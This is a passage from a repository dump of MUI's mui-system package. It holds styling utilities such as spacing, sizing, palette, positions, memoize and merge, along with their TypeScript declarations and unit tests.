CustomComponentWithNoTheme = muiStyled('div')<\n    React.ComponentProps<typeof display> & React.ComponentProps<typeof gap>\n  >(compose(display, gap));\n  <CustomComponentWithNoTheme display=\"flex\" gap={3} />;\n}\n"
  },
  {
    "path": "packages/mui-system/src/memoTheme.ts",
    "content": "import { CSSInterpolation } from '@mui/styled-engine';\nimport preprocessStyles from './preprocessStyles';\n\n/* eslint-disable @typescript-eslint/naming-convention */\n\ntype ThemeStyleFunction<T> = (props: { theme: T }) => CSSInterpolation;\n\n// We need to pass an argument as `{ theme }` for PigmentCSS, but we don't want to\n// allocate more objects.\nconst arg = { theme: undefined as any };\n\n/**\n * Memoize style function on theme.\n * Intended to be used in styled() calls that only need access to the theme.\n */\nexport default function unstable_memoTheme<T>(styleFn: ThemeStyleFunction<T>) {\n  let lastValue: CSSInterpolation;\n  let lastTheme: T;\n\n  return function styleMemoized(props: { theme: T }) {\n    let value = lastValue;\n    if (value === undefined || props.theme !== lastTheme) {\n      arg.theme = props.theme;\n\n      value = preprocessStyles(styleFn(arg));\n\n      lastValue = value;\n      lastTheme = props.theme;\n    }\n\n    return value;\n  };\n}\n"
  },
  {
    "path": "packages/mui-system/src/memoize/index.ts",
    "content": "export { default } from './memoize';\n"
  },
  {
    "path": "packages/mui-system/src/memoize/memoize.d.ts",
    "content": "export default function memoize<ArgType = any, ReturnType = any>(\n  fn: (arg: ArgType) => ReturnType,\n): (arg: ArgType) => ReturnType;\n"
  },
  {
    "path": "packages/mui-system/src/memoize/memoize.js",
    "content": "export default function memoize(fn) {\n  const cache = {};\n\n  return (arg) => {\n    if (cache[arg] === undefined) {\n      cache[arg] = fn(arg);\n    }\n\n    return cache[arg];\n  };\n}\n"
  },
  {
    "path": "packages/mui-system/src/merge/index.ts",
    "content": "export { default } from './merge';\n"
  },
  {
    "path": "packages/mui-system/src/merge/merge.test.js",
    "content": "import { expect } from 'chai';\nimport merge from './merge';\n\ndescribe('merge', () => {\n  it('should merge deep', () => {\n    const output = merge(\n      {\n        display: 'flex',\n        '@media (min-width:600px)': {\n          padding: 8,\n        },\n      },\n      {\n        position: 'relative',\n        '@media (min-width:600px)': {\n          margin: 16,\n        },\n      },\n    );\n    expect(output).to.deep.equal({\n      '@media (min-width:600px)': {\n        margin: 16,\n        padding: 8,\n      },\n      display: 'flex',\n      position: 'relative',\n    });\n  });\n\n  it('should merge repetitive styles', () => {\n    const output = merge(\n      {\n        '@media (min-width:600px)': {\n          padding: 8,\n        },\n      },\n      {\n        '@media (min-width:600px)': {\n          padding: 8,\n        },\n      },\n    );\n    expect(output).to.deep.equal({\n      '@media (min-width:600px)': {\n        padding: 8,\n      },\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/merge/merge.ts",
    "content": "import deepmerge from '@mui/utils/deepmerge';\n\nconst options = {\n  clone: false,\n};\n\nfunction merge(acc: object, item: object): object {\n  if (!item) {\n    return acc;\n  }\n\n  return deepmerge(acc, item, options);\n}\n\nexport default merge;\n"
  },
  {
    "path": "packages/mui-system/src/palette/index.ts",
    "content": "export { default } from './palette';\nexport * from './palette';\n"
  },
  {
    "path": "packages/mui-system/src/palette/palette.d.ts",
    "content": "import { PropsFor, SimpleStyleFunction } from '../style';\n\nexport const color: SimpleStyleFunction<'color'>;\nexport const bgcolor: SimpleStyleFunction<'bgcolor'>;\n\ndeclare const palette: SimpleStyleFunction<'bgcolor' | 'color'>;\n\nexport type PaletteProps = PropsFor<typeof palette>;\n\nexport default palette;\n"
  },
  {
    "path": "packages/mui-system/src/palette/palette.js",
    "content": "import style from '../style';\nimport compose from '../compose';\n\nexport function paletteTransform(value, userValue) {\n  if (userValue === 'grey') {\n    return userValue;\n  }\n  return value;\n}\n\nexport const color = style({\n  prop: 'color',\n  themeKey: 'palette',\n  transform: paletteTransform,\n});\n\nexport const bgcolor = style({\n  prop: 'bgcolor',\n  cssProperty: 'backgroundColor',\n  themeKey: 'palette',\n  transform: paletteTransform,\n});\n\nexport const backgroundColor = style({\n  prop: 'backgroundColor',\n  themeKey: 'palette',\n  transform: paletteTransform,\n});\n\nconst palette = compose(color, bgcolor, backgroundColor);\n\nexport default palette;\n"
  },
  {
    "path": "packages/mui-system/src/palette/palette.test.js",
    "content": "import { expect } from 'chai';\nimport palette from './palette';\n\nconst theme = {\n  palette: {\n    grey: { 100: '#f5f5f5' },\n  },\n};\n\ndescribe('palette', () => {\n  it('should treat grey as CSS color', () => {\n    const output = palette({\n      theme,\n      backgroundColor: 'grey',\n    });\n\n    expect(output).to.deep.equal({\n      backgroundColor: 'grey',\n    });\n  });\n\n  it('should treat grey.100 as theme color', () => {\n    const output = palette({\n      theme,\n      backgroundColor: 'grey.100',\n    });\n    expect(output).to.deep.equal({\n      backgroundColor: '#f5f5f5',\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/positions/index.ts",
    "content": "export { default } from './positions';\nexport * from './positions';\n"
  },
  {
    "path": "packages/mui-system/src/positions/positions.d.ts",
    "content": "import { PropsFor, SimpleStyleFunction } from '../style';\n\ndeclare const positions: SimpleStyleFunction<\n  'zIndex' | 'position' | 'top' | 'right' | 'bottom' | 'left'\n>;\n\nexport type PositionsProps = PropsFor<typeof positions>;\n\nexport default positions;\n"
  },
  {
    "path": "packages/mui-system/src/positions/positions.js",
    "content": "import style from '../style';\nimport compose from '../compose';\n\nexport const position = style({\n  prop: 'position',\n});\n\nexport const zIndex = style({\n  prop: 'zIndex',\n  themeKey: 'zIndex',\n});\n\nexport const top = style({\n  prop: 'top',\n});\n\nexport const right = style({\n  prop: 'right',\n});\n\nexport const bottom = style({\n  prop: 'bottom',\n});\n\nexport const left = style({\n  prop: 'left',\n});\n\nexport default compose(position, zIndex, top, right, bottom, left);\n"
  },
  {
    "path": "packages/mui-system/src/preprocessStyles.ts",
    "content": "import { internal_serializeStyles } from '@mui/styled-engine';\n\nexport default function preprocessStyles(input: any) {\n  const { variants, ...style } = input;\n\n  const result = {\n    variants,\n    style: internal_serializeStyles(style) as any,\n    isProcessed: true,\n  };\n\n  // Not supported on styled-components\n  if (result.style === style) {\n    return result;\n  }\n\n  if (variants) {\n    variants.forEach((variant: any) => {\n      if (typeof variant.style !== 'function') {\n        variant.style = internal_serializeStyles(variant.style);\n      }\n    });\n  }\n\n  return result;\n}\n"
  },
  {
    "path": "packages/mui-system/src/propsToClassKey/index.ts",
    "content": "export { default } from './propsToClassKey';\n"
  },
  {
    "path": "packages/mui-system/src/propsToClassKey/propsToClassKey.d.ts",
    "content": "export default function propsToClassKey(props: object): string;\n"
  },
  {
    "path": "packages/mui-system/src/propsToClassKey/propsToClassKey.js",
    "content": "import capitalize from '@mui/utils/capitalize';\n\nfunction isEmpty(string) {\n  return string.length === 0;\n}\n\n/**\n * Generates string classKey based on the properties provided. It starts with the\n * variant if defined, and then it appends all other properties in alphabetical order.\n * @param {object} props - the properties for which the classKey should be created.\n */\nexport default function propsToClassKey(props) {\n  const { variant, ...other } = props;\n\n  let classKey = variant || '';\n\n  Object.keys(other)\n    .sort()\n    .forEach((key) => {\n      if (key === 'color') {\n        classKey += isEmpty(classKey) ? props[key] : capitalize(props[key]);\n      } else {\n        classKey += `${isEmpty(classKey) ? key : capitalize(key)}${capitalize(\n          props[key].toString(),\n        )}`;\n      }\n    });\n\n  return classKey;\n}\n"
  },
  {
    "path": "packages/mui-system/src/propsToClassKey/propsToClassKey.test.js",
    "content": "import { expect } from 'chai';\nimport propsToClassKey from './propsToClassKey';\n\ndescribe('propsToClassKey', () => {\n  it('should return the variant value as string', () => {\n    expect(propsToClassKey({ variant: 'custom' })).to.equal('custom');\n  });\n\n  it('should combine the variant with other props', () => {\n    expect(propsToClassKey({ variant: 'custom', size: 'large' })).to.equal('customSizeLarge');\n  });\n\n  it('should append the props after the variant in alphabetical order', () => {\n    expect(propsToClassKey({ variant: 'custom', size: 'large', mode: 'static' })).to.equal(\n      'customModeStaticSizeLarge',\n    );\n  });\n\n  it('should not prefix the color prop', () => {\n    expect(propsToClassKey({ variant: 'custom', color: 'primary' })).to.equal('customPrimary');\n  });\n\n  it('should work without variant in props', () => {\n    expect(propsToClassKey({ color: 'primary', size: 'large', mode: 'static' })).to.equal(\n      'primaryModeStaticSizeLarge',\n    );\n  });\n\n  it('should not capitalize the first prop', () => {\n    expect(propsToClassKey({ size: 'large', zIndex: 'toolbar' })).to.equal(\n      'sizeLargeZIndexToolbar',\n    );\n  });\n\n  it('should work with non string properties', () => {\n    expect(propsToClassKey({ disabled: true, valid: false })).to.equal('disabledTrueValidFalse');\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/responsivePropType/index.ts",
    "content": "export { default } from './responsivePropType';\n"
  },
  {
    "path": "packages/mui-system/src/responsivePropType/responsivePropType.ts",
    "content": "import PropTypes from 'prop-types';\n\nconst responsivePropType: object =\n  process.env.NODE_ENV !== 'production'\n    ? PropTypes.oneOfType([PropTypes.number, PropTypes.string, PropTypes.object, PropTypes.array])\n    : {};\n\nexport default responsivePropType;\n"
  },
  {
    "path": "packages/mui-system/src/shadows/index.ts",
    "content": "export { default } from './shadows';\n"
  },
  {
    "path": "packages/mui-system/src/shadows/shadows.d.ts",
    "content": "import { PropsFor, SimpleStyleFunction } from '../style';\n\ndeclare const shadows: SimpleStyleFunction<'boxShadow'>;\n\nexport type ShadowsProps = PropsFor<typeof shadows>;\n\nexport default shadows;\n"
  },
  {
    "path": "packages/mui-system/src/shadows/shadows.js",
    "content": "import style from '../style';\n\nconst boxShadow = style({\n  prop: 'boxShadow',\n  themeKey: 'shadows',\n});\n\nexport default boxShadow;\n"
  },
  {
    "path": "packages/mui-system/src/sizing/index.ts",
    "content": "export { default } from './sizing';\nexport * from './sizing';\n"
  },
  {
    "path": "packages/mui-system/src/sizing/sizing.d.ts",
    "content": "import { PropsFor, SimpleStyleFunction } from '../style';\n\nexport const width: SimpleStyleFunction<'width'>;\nexport const maxWidth: SimpleStyleFunction<'maxWidth'>;\nexport const minWidth: SimpleStyleFunction<'minWidth'>;\nexport const height: SimpleStyleFunction<'height'>;\nexport const maxHeight: SimpleStyleFunction<'maxHeight'>;\nexport const minHeight: SimpleStyleFunction<'minHeight'>;\nexport const sizeWidth: SimpleStyleFunction<'sizeWidth'>;\nexport const sizeHeight: SimpleStyleFunction<'sizeHeight'>;\nexport const boxSizing: SimpleStyleFunction<'boxSizing'>;\n\ndeclare const sizing: SimpleStyleFunction<\n  | 'width'\n  | 'maxWidth'\n  | 'minWidth'\n  | 'height'\n  | 'maxHeight'\n  | 'minHeight'\n  | 'sizeWidth'\n  | 'sizeHeight'\n  | 'boxSizing'\n>;\n\nexport type SizingProps = PropsFor<typeof sizing>;\n\nexport default sizing;\n"
  },
  {
    "path": "packages/mui-system/src/sizing/sizing.js",
    "content": "import style from '../style';\nimport compose from '../compose';\nimport { handleBreakpoints, values as breakpointsValues } from '../breakpoints';\n\nexport function sizingTransform(value) {\n  return value <= 1 && value !== 0 ? `${value * 100}%` : value;\n}\n\nexport const width = style({\n  prop: 'width',\n  transform: sizingTransform,\n});\n\nexport const maxWidth = (props) => {\n  if (props.maxWidth !== undefined && props.maxWidth !== null) {\n    const styleFromPropValue = (propValue) => {\n      const breakpoint =\n        props.theme?.breakpoints?.values?.[propValue] || breakpointsValues[propValue];\n\n      if (!breakpoint) {\n        return {\n          maxWidth: sizingTransform(propValue),\n        };\n      }\n\n      if (props.theme?.breakpoints?.unit !== 'px') {\n        return {\n          maxWidth: `${breakpoint}${props.theme.breakpoints.unit}`,\n        };\n      }\n\n      return {\n        maxWidth: breakpoint,\n      };\n    };\n    return handleBreakpoints(props, props.maxWidth, styleFromPropValue);\n  }\n  return null;\n};\nmaxWidth.filterProps = ['maxWidth'];\n\nexport const minWidth = style({\n  prop: 'minWidth',\n  transform: sizingTransform,\n});\n\nexport const height = style({\n  prop: 'height',\n  transform: sizingTransform,\n});\n\nexport const maxHeight = style({\n  prop: 'maxHeight',\n  transform: sizingTransform,\n});\n\nexport const minHeight = style({\n  prop: 'minHeight',\n  transform: sizingTransform,\n});\n\nexport const sizeWidth = style({\n  prop: 'size',\n  cssProperty: 'width',\n  transform: sizingTransform,\n});\n\nexport const sizeHeight = style({\n  prop: 'size',\n  cssProperty: 'height',\n  transform: sizingTransform,\n});\n\nexport const boxSizing = style({\n  prop: 'boxSizing',\n});\n\nconst sizing = compose(width, maxWidth, minWidth, height, maxHeight, minHeight, boxSizing);\n\nexport default sizing;\n"
  },
  {
    "path": "packages/mui-system/src/sizing/sizing.test.js",
    "content": "import { expect } from 'chai';\nimport createTheme from '@mui/system/createTheme';\nimport sizing from './sizing';\n\ndescribe('sizing', () => {\n  it('sizing', () => {\n    const output = sizing({\n      height: 10,\n    });\n    expect(output).to.deep.equal({\n      height: 10,\n    });\n  });\n\n  it('should work with 0', () => {\n    const output = sizing({\n      maxWidth: 0,\n    });\n    expect(output).to.deep.equal({\n      maxWidth: 0,\n    });\n  });\n\n  describe('maxWidth', () => {\n    it('should work with custom units', () => {\n      const theme = createTheme({\n        breakpoints: {\n          unit: 'rem',\n          values: {\n            xs: 10,\n          },\n        },\n      });\n\n      const output = sizing({\n        maxWidth: 'xs',\n        theme,\n      });\n\n      expect(output).to.deep.equal({\n        maxWidth: '10rem',\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/spacing/index.ts",
    "content": "export { default } from './spacing';\nexport * from './spacing';\n"
  },
  {
    "path": "packages/mui-system/src/spacing/spacing.d.ts",
    "content": "import { SimpleStyleFunction, PropsFor } from '../style';\n\nexport type SpacingValueType = string | number | null | undefined;\nexport type SpacingProps = PropsFor<typeof spacing>;\nexport function createUnarySpacing<Spacing>(theme: { spacing: Spacing }): Spacing extends number\n  ? (abs: number | string) => number | number\n  : Spacing extends any[]\n    ? <Index extends number>(abs: Index | string) => Spacing[Index] | string\n    : Spacing extends (...args: unknown[]) => unknown\n      ? Spacing\n      : // warns in Dev\n        () => undefined;\n\nexport function createUnaryUnit<Spacing>(\n  theme: { spacing: Spacing },\n  themeKey: string,\n  defaultValue: Spacing,\n  propName: string,\n): Spacing extends number\n  ? (abs: SpacingValueType) => number | number\n  : Spacing extends any[]\n    ? <Index extends number>(abs: Index | string) => Spacing[Index] | string\n    : Spacing extends (...args: unknown[]) => unknown\n      ? Spacing\n      : // warns in Dev\n        () => undefined;\n\nexport const margin: SimpleStyleFunction<\n  | 'm'\n  | 'mt'\n  | 'mr'\n  | 'mb'\n  | 'ml'\n  | 'mx'\n  | 'my'\n  | 'margin'\n  | 'marginTop'\n  | 'marginRight'\n  | 'marginBottom'\n  | 'marginLeft'\n  | 'marginX'\n  | 'marginY'\n  | 'marginInline'\n  | 'marginInlineStart'\n  | 'marginInlineEnd'\n  | 'marginBlock'\n  | 'marginBlockStart'\n  | 'marginBlockEnd'\n>;\n\nexport type MarginProps = PropsFor<typeof margin>;\n\nexport const padding: SimpleStyleFunction<\n  | 'p'\n  | 'pt'\n  | 'pr'\n  | 'pb'\n  | 'pl'\n  | 'px'\n  | 'py'\n  | 'padding'\n  | 'paddingTop'\n  | 'paddingRight'\n  | 'paddingBottom'\n  | 'paddingLeft'\n  | 'paddingX'\n  | 'paddingY'\n  | 'paddingInline'\n  | 'paddingInlineStart'\n  | 'paddingInlineEnd'\n  | 'paddingBlock'\n  | 'paddingBlockStart'\n  | 'paddingBlockEnd'\n>;\n\ndeclare const spacing: SimpleStyleFunction<\n  | 'm'\n  | 'mt'\n  | 'mr'\n  | 'mb'\n  | 'ml'\n  | 'mx'\n  | 'my'\n  | 'p'\n  | 'pt'\n  | 'pr'\n  | 'pb'\n  | 'pl'\n  | 'px'\n  | 'py'\n  | 'margin'\n  | 'marginTop'\n  | 'marginRight'\n  | 'marginBottom'\n  | 'marginLeft'\n  | 'marginX'\n  | 'marginY'\n  | 'marginInline'\n  | 'marginInlineStart'\n  | 'marginInlineEnd'\n  | 'marginBlock'\n  | 'marginBlockStart'\n  | 'marginBlockEnd'\n  | 'padding'\n  | 'paddingTop'\n  | 'paddingRight'\n  | 'paddingBottom'\n  | 'paddingLeft'\n  | 'paddingX'\n  | 'paddingY'\n  | 'paddingInline'\n  | 'paddingInlineStart'\n  | 'paddingInlineEnd'\n  | 'paddingBlock'\n  | 'paddingBlockStart'\n  | 'paddingBlockEnd'\n>;\n\nexport function getValue(\n  transformer: (prop: SpacingValueType) => SpacingValueType,\n  propValue: SpacingValueType,\n): SpacingValueType;\n\nexport type PaddingProps = PropsFor<typeof padding>;\n\nexport default spacing;\n"
  },
  {
    "path": "packages/mui-system/src/spacing/spacing.js",
    "content": "import responsivePropType from '../responsivePropType';\nimport { iterateBreakpoints } from '../breakpoints';\nimport { getPath } from '../style';\n\n/* eslint-disable guard-for-in */\n\nconst EMPTY_THEME = { internal_cache: {} };\n\nconst properties = {\n  m: 'margin',\n  p: 'padding',\n};\n\nconst directions = {\n  t: 'Top',\n  r: 'Right',\n  b: 'Bottom',\n  l: 'Left',\n  x: ['Left', 'Right'],\n  y: ['Top', 'Bottom'],\n};\n\nconst aliases = {\n  marginX: 'mx',\n  marginY: 'my',\n  paddingX: 'px',\n  paddingY: 'py',\n};\n\nconst CSS_PROPERTIES = {};\nfor (const key in properties) {\n  CSS_PROPERTIES[key] = [properties[key]];\n}\nfor (const keyProperty in properties) {\n  for (const keyDirection in directions) {\n    const property = properties[keyProperty];\n    const direction = directions[keyDirection];\n    const value = Array.isArray(direction)\n      ? direction.map((dir) => property + dir)\n      : [property + direction];\n    CSS_PROPERTIES[keyProperty + keyDirection] = value;\n  }\n}\nfor (const key in aliases) {\n  CSS_PROPERTIES[key] = CSS_PROPERTIES[aliases[key]];\n}\n\nexport const marginKeys = new Set([\n  'm',\n  'mt',\n  'mr',\n  'mb',\n  'ml',\n  'mx',\n  'my',\n  'margin',\n  'marginTop',\n  'marginRight',\n  'marginBottom',\n  'marginLeft',\n  'marginX',\n  'marginY',\n  'marginInline',\n  'marginInlineStart',\n  'marginInlineEnd',\n  'marginBlock',\n  'marginBlockStart',\n  'marginBlockEnd',\n]);\n\nexport const paddingKeys = new Set([\n  'p',\n  'pt',\n  'pr',\n  'pb',\n  'pl',\n  'px',\n  'py',\n  'padding',\n  'paddingTop',\n  'paddingRight',\n  'paddingBottom',\n  'paddingLeft',\n  'paddingX',\n  'paddingY',\n  'paddingInline',\n  'paddingInlineStart',\n  'paddingInlineEnd',\n  'paddingBlock',\n  'paddingBlockStart',\n  'paddingBlockEnd',\n]);\n\nconst spacingKeys = new Set([...marginKeys, ...paddingKeys]);\n\nexport function createUnaryUnit(theme, themeKey, defaultValue, propName) {\n  const themeSpacing = getPath(theme, themeKey, true) ?? defaultValue;\n\n  if (typeof themeSpacing === 'number' || typeof themeSpacing === 'string') {\n    return (val) => {\n      if (typeof val === 'string') {\n        return val;\n      }\n\n      if (process.env.NODE_ENV !== 'production') {\n        if (typeof val !== 'number') {\n          console.error(\n            `MUI: Expected ${propName} argument to be a number or a string, got ${val}.`,\n          );\n        }\n      }\n\n      if (typeof themeSpacing === 'string') {\n        if (themeSpacing.startsWith('var(') && val === 0) {\n          return 0;\n        }\n        if (themeSpacing.startsWith('var(') && val === 1) {\n          return themeSpacing;\n        }\n        return `calc(${val} * ${themeSpacing})`;\n      }\n      return themeSpacing * val;\n    };\n  }\n\n  if (Array.isArray(themeSpacing)) {\n    return (val) => {\n      if (typeof val === 'string') {\n        return val;\n      }\n      const abs = Math.abs(val);\n\n      if (process.env.NODE_ENV !== 'production') {\n        if (!Number.isInteger(abs)) {\n          console.error(\n            [\n              `MUI: The \\`theme.${themeKey}\\` array type cannot be combined with non integer values.` +\n                `You should either use an integer value that can be used as index, or define the \\`theme.${themeKey}\\` as a number.`,\n            ].join('\\n'),\n          );\n        } else if (abs > themeSpacing.length - 1) {\n          console.error(\n            [\n              `MUI: The value provided (${abs}) overflows.`,\n              `The supported values are: ${JSON.stringify(themeSpacing)}.`,\n              `${abs} > ${themeSpacing.length - 1}, you need to add the missing values.`,\n            ].join('\\n'),\n          );\n        }\n      }\n\n      const transformed = themeSpacing[abs];\n\n      if (val >= 0) {\n        return transformed;\n      }\n\n      if (typeof transformed === 'number') {\n        return -transformed;\n      }\n\n      if (typeof transformed === 'string' && transformed.startsWith('var(')) {\n        return `calc(-1 * ${transformed})`;\n      }\n\n      return `-${transformed}`;\n    };\n  }\n\n  if (typeof themeSpacing === 'function') {\n    return themeSpacing;\n  }\n\n  if (process.env.NODE_ENV !== 'production') {\n    console.error(\n      [\n        `MUI: The \\`theme.${themeKey}\\` value (${themeSpacing}) is invalid.`,\n        'It should be a number, an array or a function.',\n      ].join('\\n'),\n    );\n  }\n\n  return () => undefined;\n}\n\nexport function createUnarySpacing(theme) {\n  return createUnaryUnit(theme, 'spacing', 8, 'spacing');\n}\n\nexport function getValue(transformer, propValue) {\n  if (typeof propValue === 'string' || propValue == null) {\n    return propValue;\n  }\n  return transformer(propValue);\n}\n\n// Avoid allocations\nconst container = [''];\n\nfunction style(props, keys) {\n  const theme = props.theme ?? EMPTY_THEME;\n  const transformer = theme?.internal_cache?.unarySpacing ?? createUnarySpacing(theme);\n\n  const result = {};\n  for (const prop in props) {\n    if (!keys.has(prop)) {\n      continue;\n    }\n\n    const cssProperties = CSS_PROPERTIES[prop] ?? ((container[0] = prop), container);\n    const propValue = props[prop];\n\n    iterateBreakpoints(result, props.theme, propValue, (mediaKey, value) => {\n      const target = mediaKey ? result[mediaKey] : result;\n      for (let i = 0; i < cssProperties.length; i += 1) {\n        target[cssProperties[i]] = getValue(transformer, value);\n      }\n    });\n  }\n\n  return result;\n}\n\nexport function margin(props) {\n  return style(props, marginKeys);\n}\n\nmargin.propTypes =\n  process.env.NODE_ENV !== 'production'\n    ? Array.from(marginKeys).reduce((obj, key) => {\n        obj[key] = responsivePropType;\n        return obj;\n      }, {})\n    : {};\n\nmargin.filterProps = marginKeys;\n\nexport function padding(props) {\n  return style(props, paddingKeys);\n}\n\npadding.propTypes =\n  process.env.NODE_ENV !== 'production'\n    ? Array.from(paddingKeys).reduce((obj, key) => {\n        obj[key] = responsivePropType;\n        return obj;\n      }, {})\n    : {};\n\npadding.filterProps = paddingKeys;\n\nfunction spacing(props) {\n  return style(props, spacingKeys);\n}\n\nspacing.propTypes =\n  process.env.NODE_ENV !== 'production'\n    ? Array.from(spacingKeys).reduce((obj, key) => {\n        obj[key] = responsivePropType;\n        return obj;\n      }, {})\n    : {};\n\nspacing.filterProps = spacingKeys;\n\nexport default spacing;\n"
  },
  {
    "path": "packages/mui-system/src/spacing/spacing.test.js",
    "content": "import { expect } from 'chai';\nimport spacing, { margin, padding } from './spacing';\n\ndescribe('system spacing', () => {\n  describe('spacing', () => {\n    describe('themeTransformer', () => {\n      it('should have a default unit value', () => {\n        const output = spacing({\n          p: 1,\n        });\n        expect(output).to.deep.equal({ padding: 8 });\n      });\n\n      it('should be able to customize the unit value', () => {\n        const output1 = spacing({\n          theme: {\n            spacing: 2,\n          },\n          p: 2,\n        });\n        expect(output1).to.deep.equal({ padding: 4 });\n\n        const output2 = spacing({\n          theme: {\n            spacing: [0, 3, 5, 8, 13, 21], // Fibonacci\n          },\n          p: 1,\n        });\n        expect(output2).to.deep.equal({ padding: 3 });\n\n        const output3 = spacing({\n          theme: {\n            spacing: (x) => x ** 2,\n          },\n          p: 2,\n        });\n        expect(output3).to.deep.equal({ padding: 4 });\n      });\n\n      it('should be able to use string value', () => {\n        const output1 = spacing({\n          theme: {\n            spacing: '4px',\n          },\n          p: 2,\n        });\n        expect(output1).to.deep.equal({ padding: 'calc(2 * 4px)' });\n      });\n\n      it('should be able to use string value with negative amount', () => {\n        const output1 = spacing({\n          theme: {\n            spacing: '4px',\n          },\n          p: -2,\n        });\n        expect(output1).to.deep.equal({ padding: 'calc(-2 * 4px)' });\n      });\n\n      it('should use the provided value directly if theme.spacing is a string', () => {\n        const output1 = spacing({\n          theme: {\n            spacing: '4px',\n          },\n          p: '1rem',\n        });\n        expect(output1).to.deep.equal({ padding: '1rem' });\n      });\n    });\n\n    describe('warnings', () => {\n      it('should warn if the value overflow', () => {\n        let output;\n        expect(() => {\n          output = spacing({\n            theme: {\n              spacing: [0, 3, 5],\n            },\n            p: 3,\n          });\n        }).toErrorDev(\n          'MUI: The value provided (3) overflows.\\n' +\n            'The supported values are: [0,3,5].\\n' +\n            '3 > 2, you need to add the missing values.',\n        );\n        expect(output).to.deep.equal({ padding: undefined });\n      });\n\n      it('should warn if the theme transformer is invalid', () => {\n        let output;\n        expect(() => {\n          output = spacing({\n            theme: {\n              spacing: {},\n            },\n            p: 3,\n          });\n        }).toErrorDev(\n          'MUI: The `theme.spacing` value ([object Object]) is invalid.\\n' +\n            'It should be a number, an array or a function.',\n        );\n        expect(output).to.deep.equal({ padding: undefined });\n      });\n\n      it('should warn if non integer value is used with theme.spacing defined as array', () => {\n        let output;\n        expect(() => {\n          output = spacing({\n            theme: {\n              spacing: [1, 2, 3, 4, 5, 6],\n            },\n            p: 0.5,\n          });\n        }).toErrorDev(\n          'MUI: The `theme.spacing` array type cannot be combined with non integer values.',\n        );\n        expect(output).to.deep.equal({ padding: undefined });\n      });\n    });\n\n    it('should accept non integer value', () => {\n      const output = spacing({\n        theme: {\n          spacing: 8,\n        },\n        p: 0.5,\n      });\n      expect(output).to.deep.equal({ padding: 4 });\n    });\n\n    it('should support negative values', () => {\n      const output = spacing({\n        p: -1,\n      });\n      expect(output).to.deep.equal({ padding: -8 });\n    });\n\n    it('should support composes values', () => {\n      const output = spacing({\n        px: 1,\n      });\n      expect(output).to.deep.equal({\n        paddingLeft: 8,\n        paddingRight: 8,\n      });\n    });\n\n    it('should support string', () => {\n      const output = spacing({\n        theme: {\n          spacing: ['1em', '2em'],\n        },\n        p: -1,\n      });\n      expect(output).to.deep.equal({ padding: '-2em' });\n    });\n\n    it('should support CSS variables single value', () => {\n      const output = spacing({\n        theme: {\n          vars: {\n            spacing: 'var(--mui-spacing)',\n          },\n        },\n        p: 1,\n      });\n      expect(output).to.deep.equal({ padding: 'var(--mui-spacing)' });\n    });\n\n    it('should support CSS variables single value as decimal', () => {\n      const output = spacing({\n        theme: {\n          vars: {\n            spacing: 'var(--mui-spacing)',\n          },\n        },\n        p: 0.2,\n      });\n      expect(output).to.deep.equal({ padding: 'calc(0.2 * var(--mui-spacing))' });\n    });\n\n    it('should support CSS variables single value more than 1', () => {\n      const output = spacing({\n        theme: {\n          vars: {\n            spacing: 'var(--mui-spacing)',\n          },\n        },\n        p: 3,\n      });\n      expect(output).to.deep.equal({ padding: 'calc(3 * var(--mui-spacing))' });\n    });\n\n    it('should support CSS variables single value as zero', () => {\n      const output = spacing({\n        theme: {\n          vars: {\n            spacing: 'var(--mui-spacing)',\n          },\n        },\n        p: 0,\n      });\n      expect(output).to.deep.equal({ padding: 0 });\n    });\n\n    it('should support CSS variables array', () => {\n      const output = spacing({\n        theme: {\n          vars: {\n            spacing: [\n              'var(--mui-spacing-0)',\n              'var(--mui-spacing-1)',\n              'var(--mui-spacing-2)',\n              'var(--mui-spacing-3)',\n              'var(--mui-spacing-4)',\n            ],\n          },\n        },\n        p: 2,\n      });\n      expect(output).to.deep.equal({ padding: 'var(--mui-spacing-2)' });\n    });\n\n    it('should support CSS variables array with negative value', () => {\n      const output = spacing({\n        theme: {\n          vars: {\n            spacing: ['var(--mui-spacing-0)', 'var(--mui-spacing-1)', 'var(--mui-spacing-2)'],\n          },\n        },\n        p: -2,\n      });\n      expect(output).to.deep.equal({ padding: 'calc(-1 * var(--mui-spacing-2))' });\n    });\n\n    it('should support CSS variables array with zero value', () => {\n      const output = spacing({\n        theme: {\n          vars: {\n            spacing: ['var(--mui-spacing-0)', 'var(--mui-spacing-1)', 'var(--mui-spacing-2)'],\n          },\n        },\n        p: 0,\n      });\n      expect(output).to.deep.equal({ padding: 'var(--mui-spacing-0)' });\n    });\n\n    it('should support breakpoints', () => {\n      const output1 = spacing({\n        p: [1, 2],\n      });\n      expect(output1).to.deep.equal({\n        '@media (min-width:0px)': {\n          padding: 8,\n        },\n        '@media (min-width:600px)': {\n          padding: 16,\n        },\n      });\n\n      const output2 = spacing({\n        p: {\n          xs: 1,\n          sm: 2,\n        },\n      });\n      expect(output2).to.deep.equal({\n        '@media (min-width:0px)': {\n          padding: 8,\n        },\n        '@media (min-width:600px)': {\n          padding: 16,\n        },\n      });\n    });\n\n    it('should support container queries', () => {\n      const output1 = spacing({\n        p: {\n          '@sm': 1,\n          '@900/sidebar': 2,\n          '@80rem/sidebar': 3,\n        },\n      });\n      expect(output1).to.deep.equal({\n        '@container (min-width:600px)': {\n          padding: 8,\n        },\n        '@container sidebar (min-width:900px)': {\n          padding: 16,\n        },\n        '@container sidebar (min-width:80rem)': {\n          padding: 24,\n        },\n      });\n    });\n\n    it('should support full version', () => {\n      const output1 = spacing({\n        paddingTop: 1,\n      });\n      expect(output1).to.deep.equal({\n        paddingTop: 8,\n      });\n      const output2 = spacing({\n        paddingY: 1,\n      });\n      expect(output2).to.deep.equal({\n        paddingBottom: 8,\n        paddingTop: 8,\n      });\n      const output3 = spacing({\n        paddingInline: 1,\n      });\n      expect(output3).to.deep.equal({\n        paddingInline: 8,\n      });\n    });\n\n    it('should support string values', () => {\n      const output = spacing({\n        pt: '10px',\n      });\n      expect(output).to.deep.equal({\n        paddingTop: '10px',\n      });\n    });\n  });\n\n  describe('margin', () => {\n    describe('themeTransformer', () => {\n      it('should have a default unit value', () => {\n        const output = margin({\n          m: 1,\n        });\n        expect(output).to.deep.equal({ margin: 8 });\n      });\n\n      it('should be able to customize the unit value', () => {\n        const output1 = margin({\n          theme: {\n            spacing: 2,\n          },\n          m: 2,\n        });\n        